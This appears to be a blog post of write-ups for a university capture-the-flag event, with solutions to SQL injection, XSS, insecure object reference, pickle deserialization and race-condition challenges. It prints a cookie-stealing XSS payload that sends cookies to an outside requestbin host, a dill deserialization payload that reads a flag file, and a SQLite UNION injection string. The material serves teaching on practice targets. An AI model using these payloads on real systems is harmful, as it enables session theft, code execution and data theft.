FCTF Winter Writeups!
The Freelancer CTF hosted by UNSW Security Society and Freelancer is now over, and as such I'm open sourcing all the challenges so people can try them at home. There are also writeups here if you get stuck.
How do I run these challenges? Have docker installed. docker build .
in the corresponding folder. docker run -p 9091:9091 fc5de400e330
or whatever docker has called them. Your challenges should be available at localhost:9091.
simplesql1
hint 1: i hear this is a new installation.
Just default username and password admin:password
and it gives you the username jonsnow
for simplesql2
simplesql2
Its a blind sql injection challenge. You notice that adding a single quote will give you the sql injection error. I could've done a binary search instead, but implementing that is more effort.
Automated solution: github
simplexss1
hint 1: terminator couldn't find this. nor can skynet i mean google.
its the robots.txt. how exciting.
simplexss2
using a requestbin, something like
<img src=x onerror="new Image().src='http://requestb.in/whatever?cookie='+document.cookie;"/>
would work
simpleior
Insecure Object Request is what ior is. Click on a blog post and change the url to 0
secret message
This is a command injection challenge. If you hunt out the robots.txt you'll find the source at source.py
. From the source or by inspection you can figure out that the cookie f
is used directly in the code. With some thinking and examination of the imports, you realise that a = base64.b64decode
and b = dills.loads()
.
dill.loads()
is just pickle but it can do functions. so install dill pip install dill
then:
>>> import dill, base64
>>> class x(object):
... def lower(self):
... import os
... return open('flag.txt').readlines()
>>> base64.b64encode(dill.dumps(x()))
'gAJjZGlsbC5kaWxsCl9jcmVhdGVfdHlwZQpxAChjZGlsbC5kaWxsCl9sb2FkX3R5cGUKcQFVCFR5cGVUeXBlcQKFcQNScQRVAXhxBWgBVQpPYmplY3RUeXBlcQaFcQdScQiFcQl9cQooVQ1fX3Nsb3RuYW1lc19fcQtdcQxVCl9fbW9kdWxlX19xDVUIX19tYWluX19xDlUFbG93ZXJxD2NkaWxsLmRpbGwKX2NyZWF0ZV9mdW5jdGlvbgpxEChoAVUIQ29kZVR5cGVxEYVxElJxEyhLAUsCSwJLQ1UcZAEAZAAAbAAAfQEAdAEAZAIAgwEAagIAgwAAU3EUTkr/////VQhmbGFnLnR4dHEVh3EWVQJvc3EXVQRvcGVucRhVCXJlYWRsaW5lc3EZh3EaVQRzZWxmcRtoF4ZxHFUHPHN0ZGluPnEdaA9LAlUEAAEMAXEeKSl0cR9ScSBjX19idWlsdGluX18KX19tYWluX18KaA9OTn1xIXRxIlJxI1UHX19kb2NfX3EkTnV0cSVScSYpgXEnfXEoYi4='
Change your cookie. document.cookie="f=that_long_base_64_string"
, post and you have your flag!
pokestore2
After the absolute disaster of last time's pokestore (where my xss bot crashed and burned horribly). I've decided to remake it without the bot. Instead it's a race condition challenge. Notice you get pieces of the flag when you buy certain pokeballs. There's also an exchange shop for some reason. If you try exchanging currency with simultaenous requests you find there's a race condition. Submit some at the same time using owasp ZAP or burp intruder and you'll get double your money.
Screenshots coming I promise.
sqlblog1
HTML comments show that /create
is a valid route. You can create posts for shits and giggles. All of this is HTML escaped on creation so you're not getting XSS that way. There's also a hidden field called hidden
.
Part 1 is SQL injection. Click on some posts and notice the URL scheme is a bit funny. It turns out its ascii of title-random uid-hash
. If you try modifying the ASCII title, it'll tell you Md5 checksum incorrect
. So you figure out that hash
is actually md5(ascii of title-random uid
.
Now you can start injecting.
The 1337 Haxor
post has a hidden comment (css display:none, very secure). "hah this blogs security is no match for my awesome magic sql automator. what type of column name is 'flag'??!?!?!??!?!!". So that's a hint of what the column name is.
A quick and easy script that implements the hashing to make exploitation easier
import os
import hashlib
import binascii
def encode_post_id(post_id):
return ''.join(hex(ord(a))[2:] for a in post_id)
def h(payload):
enc_post_id = encode_post_id(payload) + '-a'
md5checksum = hashlib.md5(enc_post_id.encode('utf-8')).hexdigest()[0:6]
return enc_post_id + '-' + md5checksum
Lets make our sql payload.
These links are really helpful pentest monkey, trollab
The trick being, this is a sqlite database, not SQL. So your pentest monkey queries might make you cry.
Our payload ends up being
' UNION SELECT name, name, name FROM sqlite_master where type='table
which forms the full query
SELECT post.title AS post_title, post.content AS post_content, post.hidden as post_hidden FROM post WHERE id = '' UNION SELECT name, name, name FROM sqlite_master where type='table'
and gives us our table name: wowsupersecrettablename
Given the information above, its trivial to extract the column flag
from that table using the same method.
sqlblog2
This was the XSS part of the challenge where the URL was given. General idea: Craft a sql union query that has XSS in the post content/title. Then provide that URL to the bot to visit. This is left as an exercise to the reader.
FINALLY. Who knew writing a blog post with 6 writeups would take a long time.
See you guys next FCTF